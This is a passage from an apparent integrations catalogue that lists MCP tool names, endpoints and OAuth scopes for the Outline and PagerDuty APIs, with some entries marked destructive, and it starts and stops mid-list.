(write) — Update a stars order in the sidebar. Update the position of a starred document in the sidebar. The index parameter determines the display order relative to other starred documents. POST /stars.update POST /api/v1/outline/stars.update. Scopes: write. outline_post_templates_create (write) — Create a template. Create a new template that can be used as a starting point for new documents. Templates can optionally be scoped to a specific collection. POST /templates.create POST /api/v1/outline/templates.create. Scopes: write. outline_post_templates_delete (write, destructive) — Delete a template. Delete a template by its unique identifier. This will soft-delete the template, it can be restored later. POST /templates.delete POST /api/v1/outline/templates.delete. Scopes: write. outline_post_templates_duplicate (write) — Duplicate a template. Create a copy of an existing template. Optionally override the title and target collection. POST /templates.duplicate POST /api/v1/outline/templates.duplicate. Scopes: write. outline_post_templates_info (read) — Retrieve a template. Retrieve a template by its unique identifier. POST /templates.info POST /api/v1/outline/templates.info. Scopes: read. outline_post_templates_list (read) — List all templates. List all templates available to the current user. Optionally filter by collection. Templates not associated with a collection are workspace-wide. POST /templates.list POST /api/v1/outline/templates.list. Scopes: read. outline_post_templates_restore (write) — Restore a template. Restore a previously deleted template by its unique identifier. POST /templates.restore POST /api/v1/outline/templates.restore. Scopes: write. outline_post_templates_update (write) — Update a template. Update an existing template by its unique identifier. POST /templates.update POST /api/v1/outline/templates.update. Scopes: write. outline_post_users_activate (write) — Activate a user. Activating a previously suspended user allows them to signin again. Users that are activated will cause billing totals to be re-calculated in the hosted version. POST /users.activate POST /api/v1/outline/users.activate. Scopes: write. outline_post_users_delete (write, destructive) — Delete a user. Deleting a user removes the object entirely. In almost every circumstance it is preferable to suspend a user, as a deleted user can be recreated by signing in with SSO again. POST /users.delete POST /api/v1/outline/users.delete. Scopes: write. outline_post_users_info (read) — Retrieve a user. Retrieve the details of a user by their unique identifier, including their name, email, avatar, and role within the workspace. POST /users.info POST /api/v1/outline/users.info. Scopes: read. outline_post_users_invite (write) — Invite users. Send email invitations to one or more users to join the workspace. Invitations include a link to create an account and join the workspace. POST /users.invite POST /api/v1/outline/users.invite. Scopes: write. outline_post_users_list (read) — List all users. List and filter all the users in the workspace POST /users.list POST /api/v1/outline/users.list. Scopes: read. outline_post_users_suspend (write, destructive) — Suspend a user. Suspending a user prevents the user from signing in. Users that are suspended are also not counted against billing totals in the hosted version. POST /users.suspend POST /api/v1/outline/users.suspend. Scopes: write. outline_post_users_update (write) — Update a user. Update a users name or avatar. If no `id` is passed then the user associated with the authentication will be updated by default. POST /users.update POST /api/v1/outline/users.update. Scopes: write. outline_post_users_update_role (write) — Change a users role. Change the role of a user, only available to admin authorization. POST /users.update_role POST /api/v1/outline/users.update_role. Scopes: write. outline_post_views_create (write) — Create a view. Creates a new view for a document. This is documented in the interests of thoroughness however it is recommended that views are not created from outside of the Outline UI. POST /views.create POST /api/v1/outline/views.create. Scopes: write. outline_post_views_list (read) — List all views. List all users that have viewed a document and the overall view count. POST /views.list POST /api/v1/outline/views.list. Scopes: read. ================================================================================ ## PagerDuty URL: https://www.agenticfabriq.com/integrations/pagerduty Section: Integrated Tools PagerDuty — 459 MCP tools Provider key: pagerduty. Scopes: abilities.read, addons.read, addons.write, analytics.read, audit_records.read, change_events.read, change_events.write, contextual_data.read, contextual_data.write, custom_fields.read, custom_fields.write, escalation_policies.read, escalation_policies.write, event_orchestrations.read, event_orchestrations.write, event_rules.read, event_rules.write, extension_schemas.read, extensions.read, extensions.write, incident_types.read, incident_types.write, incident_workflows.read, incident_workflows.write, incident_workflows:instances.write, incidents.read, incidents.write, ip_allow_lists.read, ip_allow_lists.write, licenses.read, oauth_delegations.read, oauth_delegations.write, oncalls.read, priorities.read, recommendations.read, recommendations.write, schedules.read, schedules.write, services.read, services.write, session_configurations.read, session_configurations.write, standards.read, standards.write, status_dashboards.read, status_pages.read, status_pages.write, subscribers.read, subscribers.write, tags.read, tags.write, teams.read, teams.write, templates.read, templates.write, users.read, users.write, users:contact_methods.read, users:contact_methods.write, users:sessions.read, users:sessions.write, vendors.read, webhook_subscriptions.read, webhook_subscriptions.write, workflow_integrations.read, workflow_integrations:connections.read, workflow_integrations:connections.write. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. pagerduty_delete_addons_by_id (write, destructive) — Delete addon via DELETE /addons/{id} DELETE /api/v1/pagerduty/addons/{id}. Scopes: addons.write. pagerduty_delete_alert_grouping_settings_by_id (write, destructive) — Delete alert grouping setting via DELETE /alert_grouping_settings/{id} DELETE /api/v1/pagerduty/alert_grouping_settings/{id}. Scopes: services.write. pagerduty_delete_automation_actions_actions_by_id (write, destructive) — Delete automation action via DELETE /automation_actions/actions/{id} DELETE /api/v1/pagerduty/automation_actions/actions/{id}. Scopes: none. pagerduty_delete_automation_actions_actions_by_id_services_by_service_id (write, destructive) — Delete automation action service association via DELETE /automation_actions/actions/{id}/services/{service_id} DELETE /api/v1/pagerduty/automation_actions/actions/{id}/services/{service_id}. Scopes: none. pagerduty_delete_automation_actions_actions_by_id_teams_by_team_id (write, destructive) — Delete automation action team association via DELETE /automation_actions/actions/{id}/teams/{team_id} DELETE /api/v1/pagerduty/automation_actions/actions/{id}/teams/{team_id}. Scopes: none. pagerduty_delete_automation_actions_runners_by_id (write, destructive) — Delete automation actions runner via DELETE /automation_actions/runners/{id} DELETE /api/v1/pagerduty/automation_actions/runners/{id}. Scopes: none. pagerduty_delete_automation_actions_runners_by_id_teams_by_team_id (write, destructive) — Delete automation actions runner team association via DELETE /automation_actions/runners/{id}/teams/{team_id} DELETE /api/v1/pagerduty/automation_actions/runners/{id}/teams/{team_id}. Scopes: none. pagerduty_delete_business_services_by_id (write, destructive) — Delete business service via DELETE /business_services/{id} DELETE /api/v1/pagerduty/business_services/{id}. Scopes: services.write. pagerduty_delete_business_services_by_id_account_subscription (write, destructive) — Remove business service account subscription via DELETE /business_services/{id}/account_subscription DELETE /api/v1/pagerduty/business_services/{id}/account_subscription. Scopes: subscribers.write. pagerduty_delete_business_services_priority_thresholds (write, destructive) — Delete business service priority thresholds via DELETE /business_services/priority_thresholds DELETE /api/v1/pagerduty/business_services/priority_thresholds. Scopes: services.write. pagerduty_delete_enrichment_event_enrichments_by_id (write, destructive) — Delete event enrichment via DELETE /enrichment/event_enrichments/{id} DELETE /api/v1/pagerduty/enrichment/event_enrichments/{id}. Scopes: none. pagerduty_delete_enrichment_event_enrichments_by_id_associations (write, destructive) — Delete event enrichment associations via DELETE /enrichment/event_enrichments/{id}/associations DELETE /api/v1/pagerduty/enrichment/event_enrichments/{id}/associations. Scopes: none. pagerduty_delete_enrichment_integrations_servicenow_by_integration_id (write, destructive) — Delete service now integration via DELETE /enrichment/integrations/servicenow/{integration_id} DELETE /api/v1/pagerduty/enrichment/integrations/servicenow/{integration_id}. Scopes: contextual_data.write. pagerduty_delete_enrichment_integrations_servicenow_by_integration_id_tables_by_table_id (write, destructive) — Delete service now table via DELETE /enrichment/integrations/servicenow/{integration_id}/tables/{table_id} DELETE /api/v1/pagerduty/enrichment/integrations/servicenow/{integration_id}/tables/{table_id}. Scopes: contextual_data.write. pagerduty_delete_enrichment_integrations_servicenow_credentials_by_credentials_id (write, destructive) — Delete service now credentials via DELETE /enrichment/integrations/servicenow/credentials/{credentials_id} DELETE /api/v1/pagerduty/enrichment/integrations/servicenow/credentials/{credentials_id}. Scopes: contextual_data.write. pagerduty_delete_enrichment_schemas_by_schema_id (write, destructive) — Delete enrichment schema via DELETE /enrichment/schemas/{schema_id} DELETE /api/v1/pagerduty/enrichment/schemas/{schema_id}. Scopes: contextual_data.write. pagerduty_delete_enrichment_schemas_by_schema_id_records_by_record_id (write, destructive) — Delete enrichment record via DELETE /enrichment/schemas/{schema_id}/records/{record_id} DELETE /api/v1/pagerduty/enrichment/schemas/{schema_id}/records/{record_id}. Scopes: contextual_data.write. pagerduty_delete_escalation_policies_by_id (write, destructive) — Delete escalation policy via DELETE /escalation_policies/{id} DELETE /api/v1/pagerduty/escalation_policies/{id}. Scopes: escalation_policies.write. pagerduty_delete_event_orchestrations_by_id (write, destructive) — Delete orchestration via DELETE /event_orchestrations/{id} DELETE /api/v1/pagerduty/event_orchestrations/{id}. Scopes: event_orchestrations.write. pagerduty_delete_event_orchestrations_by_id_cache_variables_by_cache_variable_id (write, destructive) — Delete cache var on global orch via DELETE /event_orchestrations/{id}/cache_variables/{cache_variable_id} DELETE /api/v1/pagerduty/event_orchestrations/{id}/cache_variables/{cache_variable_id}. Scopes: event_orchestrations.write. pagerduty_delete_event_orchestrations_by_id_cache_variables_by_cache_variable_id_data (write, destructive) — Delete external data cache var data on global orch via DELETE /event_orchestrations/{id}/cache_variables/{cache_variable_id}/data DELETE /api/v1/pagerduty/event_orchestrations/{id}/cache_variables/{cache_variable_id}/data. Scopes: event_orchestrations.write. pagerduty_delete_event_orchestrations_by_id_integrations_by_integration_id (write, destructive) — Delete orchestration integration via DELETE /event_orchestrations/{id}/integrations/{integration_id} DELETE /api/v1/pagerduty/event_orchestrations/{id}/integrations/{integration_id}. Scopes: event_orchestrations.write. pagerduty_delete_event_orchestrations_services_by_service_id_cache_variables_by_cache_variable_id (write, destructive) — Delete cache var on service orch via DELETE /event_orchestrations/services/{service_id}/cache_variables/{cache_variable_id} DELETE /api/v1/pagerduty/event_orchestrations/services/{service_id}/cache_variables/{cache_variable_id}. Scopes: services.write. pagerduty_delete_event_orchestrations_services_by_service_id_cache_variables_by_cache_variable_id_data (write, destructive) — Delete external data cache var data on service orch via DELETE /event_orchestrations/services/{service_id}/cache_variables/{cache_variable_id}/data DELETE /api/v1/pagerduty/event_orchestrations/services/{service_id}/cache_variables/{cache_variable_id}/data. Scopes: services.write. pagerduty_delete_extensions_by_id (write, destructive) — Delete extension via DELETE /extensions/{id} DELETE /api/v1/pagerduty/extensions/{id}. Scopes: extensions.write. pagerduty_delete_incident_workflows_by_id (write, destructive) — Delete incident workflow via DELETE /incident_workflows/{id} DELETE /api/v1/pagerduty/incident_workflows/{id}. Scopes: incident_workflows.write. pagerduty_delete_incident_workflows_triggers_by_id (write, destructive) — Delete incident workflow trigger via DELETE /incident_workflows/triggers/{id} DELETE /api/v1/pagerduty/incident_workflows/triggers/{id}. Scopes: incident_workflows.write. pagerduty_delete_incident_workflows_triggers_by_trigger_id_services_by_service_id (write, destructive) — Delete service from incident workflow trigger via DELETE /incident_workflows/triggers/{trigger_id}/services/{service_id} DELETE /api/v1/pagerduty/incident_workflows/triggers/{trigger_id}/services/{service_id}. Scopes: incident_workflows.write. pagerduty_delete_incidents_by_id_notes_by_note_id (write, destructive) — Delete incident note via DELETE /incidents/{id}/notes/{note_id} DELETE /api/v1/pagerduty/incidents/{id}/notes/{note_id}. Scopes: incidents.write. pagerduty_delete_incidents_custom_fields_by_field_id (write, destructive) — Delete custom fields field via DELETE /incidents/custom_fields/{field_id} DELETE /api/v1/pagerduty/incidents/custom_fields/{field_id}. Scopes: custom_fields.write. pagerduty_delete_incidents_custom_fields_by_field_id_field_options_by_field_option_id (write, destructive) — Delete custom fields field option via DELETE /incidents/custom_fields/{field_id}/field_options/{field_option_id} DELETE /api/v1/pagerduty/incidents/custom_fields/{field_id}/field_options/{field_option_id}. Scopes: custom_fields.write. pagerduty_delete_incidents_types_by_type_id_or_name_custom_fields_by_field_id (write, destructive) — Delete incident type custom field via DELETE /incidents/types/{type_id_or_name}/custom_fields/{field_id} DELETE /api/v1/pagerduty/incidents/types/{type_id_or_name}/custom_fields/{field_id}. Scopes: custom_fields.write. pagerduty_delete_incidents_types_by_type_id_or_name_custom_fields_by_field_id_field_options_by_field_option_id (write, destructive) — Delete incident type custom field field option via DELETE /incidents/types/{type_id_or_name}/custom_fields/{field_id}/field_options/{field_option_id} DELETE /api/v1/pagerduty/incidents/types/{type_id_or_name}/custom_fields/{field_id}/field_options/{field_option_id}. Scopes: custom_fields.write. pagerduty_delete_ip_allow_lists_by_id (write, destructive) — Delete ip allow list via DELETE /ip_allow_lists/{id} DELETE /api/v1/pagerduty/ip_allow_lists/{id}. Scopes: ip_allow_lists.write. pagerduty_delete_maintenance_windows_by_id (write, destructive) — Delete maintenance window via DELETE /maintenance_windows/{id} DELETE /api/v1/pagerduty/maintenance_windows/{id}. Scopes: services.write. pagerduty_delete_oauth_delegations (write, destructive) — Delete oauth delegations via DELETE /oauth_delegations DELETE /api/v1/pagerduty/oauth_delegations. Scopes: oauth_delegations.write. pagerduty_delete_recommendations_event_orchestrations_services_by_service_id_accepted_rules_by_rule_id (write, destructive) — Delete accepted recommended rule via DELETE /recommendations/event_orchestrations/services/{service_id}/accepted_rules/{rule_id} DELETE /api/v1/pagerduty/recommendations/event_orchestrations/services/{service_id}/accepted_rules/{rule_id}. Scopes: recommendations.write. pagerduty_delete_rulesets_by_id (write, destructive) — Delete ruleset via DELETE /rulesets/{id} DELETE /api/v1/pagerduty/rulesets/{id}. Scopes: event_rules.write. pagerduty_delete_rulesets_by_id_rules_by_rule_id (write, destructive) — Delete ruleset event rule via DELETE /rulesets/{id}/rules/{rule_id} DELETE /api/v1/pagerduty/rulesets/{id}/rules/{rule_id}. Scopes: event_rules.write. pagerduty_delete_schedules_by_id (write, destructive) — Delete schedule via DELETE /schedules/{id} DELETE /api/v1/pagerduty/schedules/{id}. Scopes: schedules.write. pagerduty_delete_schedules_by_id_overrides_by_override_id (write, destructive) — Delete schedule override via DELETE /schedules/{id}/overrides/{override_id} DELETE /api/v1/pagerduty/schedules/{id}/overrides/{override_id}. Scopes: schedules.write. pagerduty_delete_services_by_id (write, destructive) — Delete service via DELETE /services/{id} DELETE /api/v1/pagerduty/services/{id}. Scopes: services.write. pagerduty_delete_services_by_id_rules_by_rule_id (write, destructive) — Delete service event rule via DELETE /services/{id}/rules/{rule_id} DELETE /api/v1/pagerduty/services/{id}/rules/{rule_id}. Scopes: services.write. pagerduty_delete_services_custom_fields_by_field_id (write, destructive) — Delete service custom field via DELETE /services/custom_fields/{field_id} DELETE /api/v1/pagerduty/services/custom_fields/{field_id}. Scopes: custom_fields.write. pagerduty_delete_services_custom_fields_by_field_id_field_options_by_field_option_id (write, destructive) — Delete service custom field option via DELETE /services/custom_fields/{field_id}/field_options/{field_option_id} DELETE /api/v1/pagerduty/services/custom_fields/{field_id}/field_options/{field_option_id}. Scopes: custom_fields.write. pagerduty_delete_session_configurations (write, destructive) — Delete session configurations via DELETE /session_configurations DELETE /api/v1/pagerduty/session_configurations. Scopes: session_configurations.write. pagerduty_delete_status_pages_by_id_posts_by_post_id (write, destructive) — Delete status page post via DELETE /status_pages/{id}/posts/{post_id} DELETE /api/v1/pagerduty/status_pages/{id}/posts/{post_id}. Scopes: status_pages.write. pagerduty_delete_status_pages_by_id_posts_by_post_id_post_updates_by_post_update_id (write, destructive) — Delete status page post update via DELETE /status_pages/{id}/posts/{post_id}/post_updates/{post_update_id} DELETE /api/v1/pagerduty/status_pages/{id}/posts/{post_id}/post_updates/{post_update_id}. Scopes: status_pages.write. pagerduty_delete_status_pages_by_id_posts_by_post_id_postmortem (write, destructive) — Delete status page postmortem via DELETE /status_pages/{id}/posts/{post_id}/postmortem DELETE /api/v1/pagerduty/status_pages/{id}/posts/{post_id}/postmortem. Scopes: status_pages.write. pagerduty_delete_status_pages_by_id_subscriptions_by_subscription_id (write, destructive) — Delete status page subscription via DELETE /status_pages/{id}/subscriptions/{subscription_id} DELETE /api/v1/pagerduty/status_pages/{id}/subscriptions/{subscription_id}. Scopes: status_pages.write. pagerduty_delete_tags_by_id (write, destructive) — Delete tag via DELETE /tags/{id} DELETE /api/v1/pagerduty/tags/{id}. Scopes: tags.write. pagerduty_delete_teams_by_id (write, destructive) — Delete team via DELETE /teams/{id} DELETE /api/v1/pagerduty/teams/{id}. Scopes: teams.write. pagerduty_delete_teams_by_id_escalation_policies_by_escalation_policy_id (write, destructive) — Delete team escalation policy via DELETE /teams/{id}/escalation_policies/{escalation_policy_id} DELETE /api/v1/pagerduty/teams/{id}/escalation_policies/{escalation_policy_id}. Scopes: teams.write. pagerduty_delete_teams_by_id_users_by_user_id (write, destructive) — Delete team user via DELETE /teams/{id}/users/{user_id} DELETE /api/v1/pagerduty/teams/{id}/users/{user_id}. Scopes: teams.write. pagerduty_delete_templates_by_id (write, destructive) — Delete template via DELETE /templates/{id} DELETE /api/v1/pagerduty/templates/{id}. Scopes: templates.write. pagerduty_delete_users_by_id (write, destructive) — Delete user via DELETE /users/{id} DELETE /api/v1/pagerduty/users/{id}. Scopes: users.write. pagerduty_delete_users_by_id_contact_methods_by_contact_method_id (write, destructive) — Delete user contact method via DELETE /users/{id}/contact_methods/{contact_method_id} DELETE /api/v1/pagerduty/users/{id}/contact_methods/{contact_method_id}. Scopes: users:contact_methods.write. pagerduty_delete_users_by_id_notification_rules_by_notification_rule_id (write, destructive) — Delete user notification rule via DELETE /users/{id}/notification_rules/{notification_rule_id} DELETE /api/v1/pagerduty/users/{id}/notification_rules/{notification_rule_id}. Scopes: users:contact_methods.write. pagerduty_delete_users_by_id_oncall_handoff_notification_rules_by_oncall_handoff_notification_rule_id (write, destructive) — Delete user handoff notification rule via DELETE /users/{id}/oncall_handoff_notification_rules/{oncall_handoff_notification_rule_id} DELETE /api/v1/pagerduty/users/{id}/oncall_handoff_notification_rules/{oncall_handoff_notification_rule_id}. Scopes: users.write. pagerduty_delete_users_by_id_sessions (write, destructive) — Delete user sessions via DELETE /users/{id}/sessions DELETE /api/v1/pagerduty/users/{id}/sessions. Scopes: users:sessions.write. pagerduty_delete_users_by_id_sessions_by_type_by_session_id (write, destructive) — Delete user session via DELETE /users/{id}/sessions/{type}/{session_id} DELETE /api/v1/pagerduty/users/{id}/sessions/{type}/{session_id}. Scopes: users:sessions.write. pagerduty_delete_users_by_id_status_update_notification_rules_by_status_update_notification_rule_id (write, destructive) — Delete user status update notification rule via DELETE /users/{id}/status_update_notification_rules/{status_update_notification_rule_id} DELETE /api/v1/pagerduty/users/{id}/status_update_notification_rules/{status_update_notification_rule_id}. Scopes: users.write. pagerduty_delete_v3_schedules_by_id (write, destructive) — Delete schedule v3 via DELETE /v3/schedules/{id} DELETE /api/v1/pagerduty/v3/schedules/{id}. Scopes: none. pagerduty_delete_v3_schedules_by_id_custom_shifts_by_custom_shift_id (write, destructive) — Delete custom shift via DELETE /v3/schedules/{id}/custom_shifts/{custom_shift_id} DELETE /api/v1/pagerduty/v3/schedules/{id}/custom_shifts/{custom_shift_id}. Scopes: none. pagerduty_delete_v3_schedules_by_id_overrides_by_override_id (write, destructive) — Delete override via DELETE /v3/schedules/{id}/overrides/{override_id} DELETE /api/v1/pagerduty/v3/schedules/{id}/overrides/{override_id}. Scopes: none. pagerduty_delete_v3_schedules_by_id_rotations_by_rotation_id (write, destructive) — Delete rotation via DELETE /v3/schedules/{id}/rotations/{rotation_id} DELETE /api/v1/pagerduty/v3/schedules/{id}/rotations/{rotation_id}. Scopes: none. pagerduty_delete_v3_schedules_by_id_rotations_by_rotation_id_events_by_event_id (write, destructive) — Delete event via DELETE /v3/schedules/{id}/rotations/{rotation_id}/events/{event_id} DELETE /api/v1/pagerduty/v3/schedules/{id}/rotations/{rotation_id}/events/{event_id}. Scopes: none. pagerduty_delete_webhook_subscriptions_by_id (write, destructive) — Delete webhook subscription via DELETE /webhook_subscriptions/{id} DELETE /api/v1/pagerduty/webhook_subscriptions/{id}. Scopes: webhook_subscriptions.write. pagerduty_delete_webhook_subscriptions_oauth_clients_by_id (write, destructive) — Delete oauth client via DELETE /webhook_subscriptions/oauth_clients/{id} DELETE /api/v1/pagerduty/webhook_subscriptions/oauth_clients/{id}. Scopes: none. pagerduty_delete_workflows_integrations_by_integration_id_connections_by_id (write, destructive) — Delete workflow integration connection via DELETE /workflows/integrations/{integration_id}/connections/{id} DELETE /api/v1/pagerduty/workflows/integrations/{integration_id}/connections/{id}. Scopes: workflow_integrations:connections.write. pagerduty_get_abilities (read) — List abilities via GET /abilities GET /api/v1/pagerduty/abilities. Scopes: abilities.read. pagerduty_get_abilities_by_id (read) — Get ability via GET /abilities/{id} GET /api/v1/pagerduty/abilities/{id}. Scopes: abilities.read. pagerduty_get_addons (read) — List addon via GET /addons GET /api/v1/pagerduty/addons. Scopes: addons.read. pagerduty_get_addons_by_id (read) — Get addon via GET /addons/{id} GET /api/v1/pagerduty/addons/{id}. Scopes: addons.read. pagerduty_get_alert_grouping_settings (read) — List alert grouping settings via GET /alert_grouping_settings GET /api/v1/pagerduty/alert_grouping_settings. Scopes: services.read. pagerduty_get_alert_grouping_settings_by_id (read) — Get alert grouping setting via GET /alert_grouping_settings/{id} GET /api/v1/pagerduty/alert_grouping_settings/{id}. Scopes: services.read. pagerduty_get_analytics_raw_incidents_by_id (read) — Get analytics incidents by id via GET /analytics/raw/incidents/{id} GET /api/v1/pagerduty/analytics/raw/incidents/{id}. Scopes: analytics.read. pagerduty_get_analytics_raw_incidents_by_id_responses (read) — Get analytics incident responses by id via GET /analytics/raw/incidents/{id}/responses GET /api/v1/pagerduty/analytics/raw/incidents/{id}/responses. Scopes: analytics.read. pagerduty_get_audit_records (read) — List audit records via GET /audit/records GET /api/v1/pagerduty/audit/records. Scopes: audit_records.read. pagerduty_get_automation_actions_actions (read) — Get all automation actions via GET /automation_actions/actions GET /api/v1/pagerduty/automation_actions/actions. Scopes: none. pagerduty_get_automation_actions_actions_by_id (read) — Get automation action via GET /automation_actions/actions/{id} GET /api/v1/pagerduty/automation_actions/actions/{id}. Scopes: none. pagerduty_get_automation_actions_actions_by_id_services (read) — Get automation actions action service associations via GET /automation_actions/actions/{id}/services GET /api/v1/pagerduty/automation_actions/actions/{id}/services. Scopes: none. pagerduty_get_automation_actions_actions_by_id_services_by_service_id (read) — Get automation actions action service association via GET /automation_actions/actions/{id}/services/{service_id} GET /api/v1/pagerduty/automation_actions/actions/{id}/services/{service_id}. Scopes: none. pagerduty_get_automation_actions_actions_by_id_teams (read) — Get automation actions action team associations via GET /automation_actions/actions/{id}/teams GET /api/v1/pagerduty/automation_actions/actions/{id}/teams. Scopes: none. pagerduty_get_automation_actions_actions_by_id_teams_by_team_id (read) — Get automation actions action team association via GET /automation_actions/actions/{id}/teams/{team_id} GET /api/v1/pagerduty/automation_actions/actions/{id}/teams/{team_id}. Scopes: none. pagerduty_get_automation_actions_invocations (read) — List automation action invocations via GET /automation_actions/invocations GET /api/v1/pagerduty/automation_actions/invocations. Scopes: none. pagerduty_get_automation_actions_invocations_by_id (read) — Get automation actions invocation via GET /automation_actions/invocations/{id} GET /api/v1/pagerduty/automation_actions/invocations/{id}. Scopes: none. pagerduty_get_automation_actions_runners (read) — Get automation actions runners via GET /automation_actions/runners GET /api/v1/pagerduty/automation_actions/runners. Scopes: none. pagerduty_get_automation_actions_runners_by_id (read) — Get automation actions runner via GET /automation_actions/runners/{id} GET /api/v1/pagerduty/automation_actions/runners/{id}. Scopes: none. pagerduty_get_automation_actions_runners_by_id_teams (read) — Get automation actions runner team associations via GET /automation_actions/runners/{id}/teams GET /api/v1/pagerduty/automation_actions/runners/{id}/teams. Scopes: none. pagerduty_get_automation_actions_runners_by_id_teams_by_team_id (read) — Get automation actions runner team association via GET /automation_actions/runners/{id}/teams/{team_id} GET /api/v1/pagerduty/automation_actions/runners/{id}/teams/{team_id}. Scopes: none. pagerduty_get_business_services (read) — List business services via GET /business_services GET /api/v1/pagerduty/business_services. Scopes: services.read. pagerduty_get_business_services_by_id (read) — Get business service via GET /business_services/{id} GET /api/v1/pagerduty/business_services/{id}. Scopes: services.read. pagerduty_get_business_services_by_id_subscribers (read) — Get business service subscribers via GET /business_services/{id}/subscribers GET /api/v1/pagerduty/business_services/{id}/subscribers. Scopes: subscribers.read. pagerduty_get_business_services_by_id_supporting_services_impacts (read) — Get business service supporting service impacts via GET /business_services/{id}/supporting_services/impacts GET /api/v1/pagerduty/business_services/{id}/supporting_services/impacts. Scopes: services.read. pagerduty_get_business_services_impactors (read) — Get business service top level impactors via GET /business_services/impactors GET /api/v1/pagerduty/business_services/impactors. Scopes: services.read. pagerduty_get_business_services_impacts (read) — Get business service impacts via GET /business_services/impacts GET /api/v1/pagerduty/business_services/impacts. Scopes: services.read. pagerduty_get_business_services_priority_thresholds (read) — Get business service priority thresholds via GET /business_services/priority_thresholds GET /api/v1/pagerduty/business_services/priority_thresholds. Scopes: services.read. pagerduty_get_by_entity_type_by_id_tags (read) — Get entity type by id tags via GET /{entity_type}/{id}/tags GET /api/v1/pagerduty/{entity_type}/{id}/tags. Scopes: tags.read. pagerduty_get_change_events (read) — List change events via GET /change_events GET /api/v1/pagerduty/change_events. Scopes: change_events.read. pagerduty_get_change_events_by_id (read) — Get change event via GET /change_events/{id} GET /api/v1/pagerduty/change_events/{id}. Scopes: change_events.read. pagerduty_get_enrichment_event_enrichments (read) — List event enrichments via GET /enrichment/event_enrichments GET /api/v1/pagerduty/enrichment/event_enrichments. Scopes: none. pagerduty_get_enrichment_event_enrichments_by_id (read) — Get event enrichment via GET /enrichment/event_enrichments/{id} GET /api/v1/pagerduty/enrichment/event_enrichments/{id}. Scopes: none. pagerduty_get_enrichment_event_enrichments_by_id_associations (read) — List event enrichment associations via GET /enrichment/event_enrichments/{id}/associations GET /api/v1/pagerduty/enrichment/event_enrichments/{id}/associations. Scopes: none. pagerduty_get_enrichment_event_enrichments_by_id_rules (read) — Get event enrichment rules via GET /enrichment/event_enrichments/{id}/rules GET /api/v1/pagerduty/enrichment/event_enrichments/{id}/rules. Scopes: none. pagerduty_get_enrichment_event_enrichments_default (read) — Get account default event enrichment via GET /enrichment/event_enrichments/default GET /api/v1/pagerduty/enrichment/event_enrichments/default. Scopes: none. pagerduty_get_enrichment_integrations_servicenow (read) — List service now integrations via GET /enrichment/integrations/servicenow GET /api/v1/pagerduty/enrichment/integrations/servicenow. Scopes: contextual_data.read. pagerduty_get_enrichment_integrations_servicenow_by_integration_id (read) — Get service now integration via GET /enrichment/integrations/servicenow/{integration_id} GET /api/v1/pagerduty/enrichment/integrations/servicenow/{integration_id}. Scopes: contextual_data.read. pagerduty_get_enrichment_integrations_servicenow_by_integration_id_tables_by_table_id_test (read) — Test service now table via GET /enrichment/integrations/servicenow/{integration_id}/tables/{table_id}/test GET /api/v1/pagerduty/enrichment/integrations/servicenow/{integration_id}/tables/{table_id}/test. Scopes: contextual_data.read. pagerduty_get_enrichment_integrations_servicenow_credentials_by_credentials_id (read) — Get service now credentials via GET /enrichment/integrations/servicenow/credentials/{credentials_id} GET /api/v1/pagerduty/enrichment/integrations/servicenow/credentials/{credentials_id}. Scopes: contextual_data.read. pagerduty_get_enrichment_schemas (read) — List enrichment schemas via GET /enrichment/schemas GET /api/v1/pagerduty/enrichment/schemas. Scopes: contextual_data.read. pagerduty_get_enrichment_schemas_by_schema_id (read) — Get enrichment schema via GET /enrichment/schemas/{schema_id} GET /api/v1/pagerduty/enrichment/schemas/{schema_id}. Scopes: contextual_data.read. pagerduty_get_enrichment_schemas_by_schema_id_records (read) — List enrichment records via GET /enrichment/schemas/{schema_id}/records GET /api/v1/pagerduty/enrichment/schemas/{schema_id}/records. Scopes: contextual_data.read. pagerduty_get_escalation_policies (read) — List escalation policies via GET /escalation_policies GET /api/v1/pagerduty/escalation_policies. Scopes: escalation_policies.read. pagerduty_get_escalation_policies_by_id (read) — Get escalation policy via GET /escalation_policies/{id} GET /api/v1/pagerduty/escalation_policies/{id}. Scopes: escalation_policies.read. pagerduty_get_escalation_policies_by_id_audit_records (read) — List escalation policy audit records via GET /escalation_policies/{id}/audit/records GET /api/v1/pagerduty/escalation_policies/{id}/audit/records. Scopes: audit_records.read. pagerduty_get_event_orchestrations (read) — List event orchestrations via GET /event_orchestrations GET /api/v1/pagerduty/event_orchestrations. Scopes: event_orchestrations.read. pagerduty_get_event_orchestrations_by_id (read) — Get orchestration via GET /event_orchestrations/{id} GET /api/v1/pagerduty/event_orchestrations/{id}. Scopes: event_orchestrations.read. pagerduty_get_event_orchestrations_by_id_cache_variables (read) — List cache var on global orch via GET /event_orchestrations/{id}/cache_variables GET /api/v1/pagerduty/event_orchestrations/{id}/cache_variables. Scopes: event_orchestrations.read. pagerduty_get_event_orchestrations_by_id_cache_variables_by_cache_variable_id (read) — Get cache var on global orch via GET /event_orchestrations/{id}/cache_variables/{cache_variable_id} GET /api/v1/pagerduty/event_orchestrations/{id}/cache_variables/{cache_variable_id}. Scopes: event_orchestrations.read. pagerduty_get_event_orchestrations_by_id_cache_variables_by_cache_variable_id_data (read) — Get external data cache var data on global orch via GET /event_orchestrations/{id}/cache_variables/{cache_variable_id}/data GET /api/v1/pagerduty/event_orchestrations/{id}/cache_variables/{cache_variable_id}/data. Scopes: event_orchestrations.read. pagerduty_get_event_orchestrations_by_id_enablements (read) — List event orchestration feature enablements via GET /event_orchestrations/{id}/enablements GET /api/v1/pagerduty/event_orchestrations/{id}/enablements. Scopes: event_orchestrations.read. pagerduty_get_event_orchestrations_by_id_global (read) — Get orch path global via GET /event_orchestrations/{id}/global GET /api/v1/pagerduty/event_orchestrations/{id}/global. Scopes: event_orchestrations.read. pagerduty_get_event_orchestrations_by_id_integrations (read) — List orchestration integrations via GET /event_orchestrations/{id}/integrations GET /api/v1/pagerduty/event_orchestrations/{id}/integrations. Scopes: event_orchestrations.read. pagerduty_get_event_orchestrations_by_id_integrations_by_integration_id (read) — Get orchestration integration via GET /event_orchestrations/{id}/integrations/{integration_id} GET 